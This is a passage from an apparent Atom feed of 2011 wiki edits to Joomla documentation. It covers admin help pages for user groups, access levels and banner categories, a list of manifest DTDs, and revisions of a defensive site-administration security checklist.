&lt;br /&gt;
== User Group Details ==&lt;br /&gt;
*&#039;&#039;&#039;Group Title&#039;&#039;&#039;. The name of the group.&lt;br /&gt;
*&#039;&#039;&#039;Group Parent&#039;&#039;&#039;. The parent group of this group. Note that each group inherits the permissions from its parent group. If you do not want this group to inherit any permissions, make its parent group &amp;quot;Public&amp;quot;. See [[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]] for more information.&lt;br /&gt;
&lt;br /&gt;
== Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:J16newusertoolbarshot.png|New/Edit User Toolbar]]&lt;br /&gt;
&lt;br /&gt;
The functions are:&lt;br /&gt;
{{Chunk16:toolbaricon|Save}} &lt;br /&gt;
{{Chunk16:toolbaricon|SaveAndClose}}&lt;br /&gt;
{{Chunk16:toolbaricon|SaveAndNew}} &lt;br /&gt;
{{Chunk16:toolbaricon|Cancel}} &lt;br /&gt;
{{Chunk16:toolbaricon|Help}}&lt;br /&gt;
&lt;br /&gt;
==Quick tips==&lt;br /&gt;
*If a new group will have similar permissions to an existing group, you can save work by making the new group a child of the existing group. That way, you only need to change the permissions that are different for the new group. &lt;br /&gt;
&lt;br /&gt;
==Related information==&lt;br /&gt;
* [[Help16:Users_Groups|User Manager: Users Groups]]&lt;br /&gt;
*[[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|User Manager|Site}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Users_Access_Levels&amp;diff=59936</id>
		<title>Help17:Users Access Levels</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Users_Access_Levels&amp;diff=59936"/>
		<updated>2011-06-27T00:35:58Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Toolbar */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==How to access==&lt;br /&gt;
You can access the User Manager by clicking on the User Manager icon in the Control Panel, or by clicking on &#039;Users&#039; in the &#039;Site&#039; menu on the back-end of your Joomla! installation.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
In this screen you have the ability to look at a list of your users and sort them in different ways. You can also edit and create users, groups and access levels.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-Users_access-level-screen1.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
In the table containing the users from your Joomla! site, you will see different columns. Here you can read what they mean and what is displayed in that column.&lt;br /&gt;
{{Chunk16:colheader|Checkbox}}&lt;br /&gt;
*&#039;&#039;&#039;Level Name&#039;&#039;&#039;. The name of the access level.&lt;br /&gt;
{{Chunk16:colheader|Order}}&lt;br /&gt;
{{Chunk16:colheader|Id}}&lt;br /&gt;
{{Chunk16:colheader|DisplayNum}}&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-user_groups-toolbar.png]]&lt;br /&gt;
&lt;br /&gt;
The functions are:&lt;br /&gt;
{{Chunk16:toolbaricon|New}}&lt;br /&gt;
{{Chunk16:toolbaricon|Edit}}&lt;br /&gt;
*&#039;&#039;&#039;Delete&#039;&#039;&#039;. To delete one or more access levels, select them and click Delete. The selected levels will be deleted. Note that you cannot delete an access level that is currently being used. If you try to delete an access level that is assigned, a message showing where it is assigned will display.&lt;br /&gt;
{{Chunk16:Help_screen_toolbar_icon_User_Options}}&lt;br /&gt;
{{Chunk16:toolbaricon|Help}}&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
&#039;&#039;&#039;Filter by Partial Access Level Name&#039;&#039;&#039;&lt;br /&gt;
*&#039;&#039;&#039;Search Viewing Access Levels&#039;&#039;&#039;. In the upper left is a Search field and two buttons, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-Users_User_Manager-Access-Level-Search-screen.png]] &lt;br /&gt;
&lt;br /&gt;
Enter  part of the level&#039;s name and press the Search to find matching names. Press Reset to clear the search field and restore the list of levels.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
*Click on the name of an access level to edit it.&lt;br /&gt;
*Click on the Column Headers to sort the users by that column, ascending or descending.&lt;br /&gt;
&lt;br /&gt;
==Related information==&lt;br /&gt;
* [[Help16:Users_Access_Levels_Edit|Add/Edit Viewing Access Level]]&lt;br /&gt;
* [[Help16:Users_Options|Users Configuration]]&lt;br /&gt;
* [[Help16:Users_User_Manager|User Manager: Users]]&lt;br /&gt;
* [[Help16:Users_Groups|User Manager: User Groups]]&lt;br /&gt;
*[[ACL_Tutorial_for_Joomla_1.6|ACL Tutorial for Joomla 1.6]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|User Manager|Site}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Components_Banners_Categories&amp;diff=59935</id>
		<title>Help17:Components Banners Categories</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Components_Banners_Categories&amp;diff=59935"/>
		<updated>2011-06-27T00:35:42Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Column Headers */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
This screen is accessed from the back-end Joomla! administrator panel. It is used to add or edit banner categories.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
* Select &#039;&#039;&#039;Components &amp;amp;rarr; Banners &amp;amp;rarr; Categories&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;. You can also select the &#039;Categories&#039; menu link from the [[Help16:Components_Banners_Banners|Banner Manager]], [[Help16:Components_Banners_Clients|Banner Clients Manager]] or the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Banner Category Manager is where you can edit existing Banner Categories and create new ones. Note that Banner Categories are separate from other Categories, such as for Articles, Contacts, News Feeds, and Web Links. From this screen you can navigate to the [[Help16:Components_Banners_Banners|Banner Manager]], [[Help16:Components_Banners_Clients|Banner Clients Manager]] and the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]]. You must add at least one Banner Client and Banner Category &#039;&#039;before&#039;&#039; you can add a Banner.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-banners-categories-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
Click on the column heading to sort the list by that column&#039;s value.&lt;br /&gt;
* &#039;&#039;&#039;Checkbox.&#039;&#039;&#039; Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items. Many toolbar actions, such as Publish and Unpublish, can work with multiple items. Others, such as Edit, only work on one item at a time. If multiple items are checked and you press Edit, the first item will be opened for editing.&lt;br /&gt;
* &#039;&#039;&#039;Title.&#039;&#039;&#039; The name of the Category. This entry is required. You can open the item for editing by clicking on the Title.&lt;br /&gt;
* &#039;&#039;&#039;Published.&#039;&#039;&#039; Whether the item has been published or not. You can change the Published state by clicking on the icon in this column.&lt;br /&gt;
* &#039;&#039;&#039;Ordering.&#039;&#039;&#039; The order to display items. If the list is sorted by this column, you can change the order by clicking the arrows or by entering the sequential order and clicking the &#039;Save Order&#039; icon in the column header.&lt;br /&gt;
* &#039;&#039;&#039;Access.&#039;&#039;&#039; The minimum access level that has the ability to view this category&#039;s banners.&lt;br /&gt;
* &#039;&#039;&#039;Language.&#039;&#039;&#039; The language of the banner.&lt;br /&gt;
* &#039;&#039;&#039;ID.&#039;&#039;&#039; The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.&lt;br /&gt;
* &#039;&#039;&#039;Display #.&#039;&#039;&#039; The number of items to display on one page. If there are more items than this number, you can use the page navigation buttons (Start, Prev, Next, End, and page numbers) to navigate between pages. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
&#039;&#039;&#039;Filter by Partial Title&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You can filter the list of items by typing part of the category&#039;s name.&lt;br /&gt;
[[Image:Help16-banners-categories-filter-name.png|center]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filter by Max Levels, State, Access or Language&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the upper right area, above the column headings, there are four drop-down boxes as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-categories-filter-attributes.png|center]]&lt;br /&gt;
&lt;br /&gt;
Only items matching the selected Max Levels, State, Access and/or Language will display in the list.&lt;br /&gt;
*&#039;&#039;&#039;Select Max Levels.&#039;&#039;&#039; Use the drop-down list box to select how many child categories to display. For example, selecting &#039;&#039;1&#039;&#039; will only show the top level parent categories. Selecting &#039;&#039;2&#039;&#039; will show the top level parent categories and also the first level of child categories.&lt;br /&gt;
*&#039;&#039;&#039;Select State.&#039;&#039;&#039; Use the drop-down list box to select the published state: Published, Unpublished, Archived, Trashed, or All (any).&lt;br /&gt;
*&#039;&#039;&#039;Select Access.&#039;&#039;&#039; Use the drop-down list box to select the access level.&lt;br /&gt;
*&#039;&#039;&#039;Select Language.&#039;&#039;&#039; Use the drop-down list box to select only categories of the selected language.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-categories-toolbar.png]]&lt;br /&gt;
* &#039;&#039;&#039;New.&#039;&#039;&#039; Click on this button to create a new category. You will enter the New page for this item.&lt;br /&gt;
* &#039;&#039;&#039;Edit.&#039;&#039;&#039; Select one category and click on this button to open it in edit mode. If you have more than one category selected, the first item will be opened. You can also open a category for editing by clicking on its Name.&lt;br /&gt;
* &#039;&#039;&#039;Publish.&#039;&#039;&#039; To publish one or more categories, select them and click on this button.&lt;br /&gt;
* &#039;&#039;&#039;Unpublish.&#039;&#039;&#039; To unpublish one or more categories, select them and click on this button.&lt;br /&gt;
* &#039;&#039;&#039;Archive.&#039;&#039;&#039; To put one or more categories into the archived state, select them and click on this button.&lt;br /&gt;
* &#039;&#039;&#039;Check In.&#039;&#039;&#039; To check-in one or more categories, select them and click on this button.&lt;br /&gt;
* &#039;&#039;&#039;Trash.&#039;&#039;&#039; To trash one or more items, select them and click this button. The selected items will be placed in the trash. Note: Only empty items can be trashed.&lt;br /&gt;
* &#039;&#039;&#039;Rebuild.&#039;&#039;&#039; Click this button to rebuild the category tree data.&lt;br /&gt;
* &#039;&#039;&#039;Options.&#039;&#039;&#039; Click this button to open the Banners Global Configuration window. This window allows you to set default parameters for Banners, as shown below.&lt;br /&gt;
* &#039;&#039;&#039;Help.&#039;&#039;&#039; Display this help screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-banners-manager-options-categories.png|center]]&lt;br /&gt;
:*&#039;&#039;&#039;Save.&#039;&#039;&#039; Saves your settings.&lt;br /&gt;
:*&#039;&#039;&#039;Cancel.&#039;&#039;&#039; Cancels your changes.&lt;br /&gt;
:*&#039;&#039;&#039;Purchase Type.&#039;&#039;&#039; This is used to indicate how the banner client purchased the display time for the banner - monthly, yearly, etc...&lt;br /&gt;
:*&#039;&#039;&#039;Track Impressions.&#039;&#039;&#039; Whether or not to count how many times a Banner is displayed.&lt;br /&gt;
:*&#039;&#039;&#039;Track Clicks.&#039;&#039;&#039; Whether or not to count how many times a Banner is clicked.&lt;br /&gt;
:*&#039;&#039;&#039;Meta Keyword Prefix.&#039;&#039;&#039; When matching keywords (for matching Banners to Articles based on Keywords), only search for keywords with this prefix. This can improve performance.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Banners, Categories, Clients and Tracks Links&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
At the top left, above the Filter, you will see the following four links:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-banners-categories-links.png]]&lt;br /&gt;
*&#039;&#039;&#039;Banners.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Banners|Banners Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Categories.&#039;&#039;&#039; This link is disabled, since you are already in the Categories page.&lt;br /&gt;
*&#039;&#039;&#039;Clients.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Clients|Banner Clients Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Tracks.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Tracks|Banner Tracks Manager]] page.&lt;br /&gt;
&lt;br /&gt;
==Batch Process==&lt;br /&gt;
Below the list of categories is the batch processing section:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-categories-manager-batch_process.png]]&lt;br /&gt;
* &#039;&#039;&#039;Set Access Level.&#039;&#039;&#039; Use this drop-down list to select an access level.&lt;br /&gt;
* &#039;&#039;&#039;Select Category for Move/Copy.&#039;&#039;&#039; Use this drop-down list to select a category to move or copy the selected categories to. Use the radio button to select either a move or copy operation.&lt;br /&gt;
* &#039;&#039;&#039;Process.&#039;&#039;&#039; Press this button to execute your batch processing settings for the selected categories.&lt;br /&gt;
* &#039;&#039;&#039;Clear.&#039;&#039;&#039; Reset your batch processing settings selections.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
* You must add at least one Banner Client and Banner Category &#039;&#039;before&#039;&#039; you can add a Banner.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
* To create or edit Banners: [[Help16:Components_Banners_Banners_Edit|Banner - New/Edit]]&lt;br /&gt;
* To work with Banner Clients: [[Help16:Components_Banners_Clients|Banner Client Manager]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59934</id>
		<title>Security Checklist/Site Administration</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59934"/>
		<updated>2011-06-27T00:23:49Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Maintain a strong site backup process */ minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Site Administration ==&lt;br /&gt;
&lt;br /&gt;
===Use well-formed passwords===&lt;br /&gt;
: Change passwords regularly and keep them unique. A strong  password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].&lt;br /&gt;
&lt;br /&gt;
===Follow a password leveling scheme===&lt;br /&gt;
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]&lt;br /&gt;
&lt;br /&gt;
===Maintain a strong site backup process===&lt;br /&gt;
: Never rely on others&#039; backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you cannot rely solely on their backups.&lt;br /&gt;
&lt;br /&gt;
===Monitor crack attempts===&lt;br /&gt;
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Perform automated intrusion detection===&lt;br /&gt;
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. &lt;br /&gt;
* [http://www.google.com/search?q=Intrusion+Prevention Google search]&lt;br /&gt;
&lt;br /&gt;
===Perform manual intrusion detection===&lt;br /&gt;
: Regularly check raw logs for suspicious activity. Don&#039;t rely on summaries and graphs.&lt;br /&gt;
&lt;br /&gt;
===Stay current with security patches and upgrades===&lt;br /&gt;
: Apply vendor-released security patches ASAP.&lt;br /&gt;
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek site vulnerabilities===&lt;br /&gt;
: Perform frequent web scanning.&lt;br /&gt;
&lt;br /&gt;
* [http://www.google.com/search?q=%22web+scanning Google Search]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek SQL injections vulnerabilities===&lt;br /&gt;
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://www.google.com/search?q=%22SQL+Injection Google Search]&amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use shell scripts to automate security tasks===&lt;br /&gt;
: Search the forums for these popular scripts:&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Component/Module Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Exploit Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Learn about security software===&lt;br /&gt;
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t reinvent every wheel===&lt;br /&gt;
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, &#039;&#039;&amp;quot;Anyone who acts as their own lawyer has a fool for a client.&amp;quot;?&#039;&#039; The same goes for Web development. Don&#039;t expect to catch all of your own security mistakes.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Official_DTDs&amp;diff=59932</id>
		<title>Official DTDs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Official_DTDs&amp;diff=59932"/>
		<updated>2011-06-27T00:19:31Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Joomla! 1.5 Internal DocTypes */ add breaks for readability&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;====Joomla! 1.5 Internal Doctypes====&lt;br /&gt;
List of doctypes used by the installation manifest XMLs for Joomla! and 3rd party add-ons.&lt;br /&gt;
&lt;br /&gt;
*Template Manifest (templateDetails.xml): &lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE install PUBLIC &amp;quot;-//Joomla! 1.5//DTD template 1.0//EN&amp;quot; &amp;quot;http://www.joomla.org/xml/dtd/1.5/template-install.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
*Component Manifest (component-install.xml): &lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE install PUBLIC &amp;quot;-//Joomla! 1.5//DTD component 1.0//EN&amp;quot; &amp;quot;http://www.joomla.org/xml/dtd/1.5/component-install.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
*Plugin Manifest (plugin-install.xml): &lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE install PUBLIC &amp;quot;-//Joomla! 1.5//DTD plugin 1.0//EN&amp;quot; &amp;quot;http://www.joomla.org/xml/dtd/1.5/plugin-install.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
*Module Manifest (module-install.xml): &lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE install PUBLIC &amp;quot;-//Joomla! 1.5//DTD module 1.0//EN&amp;quot; &amp;quot;http://www.joomla.org/xml/dtd/1.5/module-install.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Legacy DTDs=====&lt;br /&gt;
Up until December 2008, when dev.joomla.org was shut down, the Internal DTDs were hosted at dev.joomla.org/xml/1.5. Since that time, they have been moved to http://www.joomla.org/xml/dtd/1.5 and their locations corrected in Joomla 1.5.9.&lt;br /&gt;
Some 3rd party Joomla! add-ons may be referencing the old locations, which may work, but is deprecated.&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59931</id>
		<title>User:Royce</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59931"/>
		<updated>2011-06-27T00:15:37Z</updated>

		<summary type="html">&lt;p&gt;Royce: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I am working on migrating some sites that I maintain to Joomla!.&lt;br /&gt;
&lt;br /&gt;
As I read the Joomla! wiki, I am also making minor updates.  Some good candidates for more substantial updates (when I know more about Joomla!) can be found in [[:Category:Cookie_jar|the cookie jar]].&lt;br /&gt;
&lt;br /&gt;
* My personal pages are [http://www.alaska.net/~royce/ here].&lt;br /&gt;
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59930</id>
		<title>User:Royce</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59930"/>
		<updated>2011-06-26T23:47:44Z</updated>

		<summary type="html">&lt;p&gt;Royce: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I am working on migrating some sites that I maintain to Joomla!.&lt;br /&gt;
&lt;br /&gt;
As I read the Joomla! wiki, I am also making minor updates.&lt;br /&gt;
&lt;br /&gt;
* My personal pages are [http://www.alaska.net/~royce/ here].&lt;br /&gt;
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59929</id>
		<title>Security Checklist/Site Administration</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59929"/>
		<updated>2011-06-26T23:43:34Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Don&amp;#039;t reinvent every wheel */ minor punctuation&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Site Administration ==&lt;br /&gt;
&lt;br /&gt;
===Use well-formed passwords===&lt;br /&gt;
: Change passwords regularly and keep them unique. A strong  password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].&lt;br /&gt;
&lt;br /&gt;
===Follow a password leveling scheme===&lt;br /&gt;
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]&lt;br /&gt;
&lt;br /&gt;
===Maintain a strong site backup process===&lt;br /&gt;
: Never rely on others&#039; backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you can not rely solely on their backups.&lt;br /&gt;
&lt;br /&gt;
===Monitor crack attempts===&lt;br /&gt;
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Perform automated intrusion detection===&lt;br /&gt;
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. &lt;br /&gt;
* [http://www.google.com/search?q=Intrusion+Prevention Google search]&lt;br /&gt;
&lt;br /&gt;
===Perform manual intrusion detection===&lt;br /&gt;
: Regularly check raw logs for suspicious activity. Don&#039;t rely on summaries and graphs.&lt;br /&gt;
&lt;br /&gt;
===Stay current with security patches and upgrades===&lt;br /&gt;
: Apply vendor-released security patches ASAP.&lt;br /&gt;
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek site vulnerabilities===&lt;br /&gt;
: Perform frequent web scanning.&lt;br /&gt;
&lt;br /&gt;
* [http://www.google.com/search?q=%22web+scanning Google Search]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek SQL injections vulnerabilities===&lt;br /&gt;
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://www.google.com/search?q=%22SQL+Injection Google Search]&amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use shell scripts to automate security tasks===&lt;br /&gt;
: Search the forums for these popular scripts:&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Component/Module Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Exploit Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Learn about security software===&lt;br /&gt;
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t reinvent every wheel===&lt;br /&gt;
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, &#039;&#039;&amp;quot;Anyone who acts as their own lawyer has a fool for a client.&amp;quot;?&#039;&#039; The same goes for Web development. Don&#039;t expect to catch all of your own security mistakes.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59928</id>
		<title>Security Checklist/Site Administration</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=59928"/>
		<updated>2011-06-26T23:42:48Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Proactively seek SQL injections vulnerabilities */ Paros proxy link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
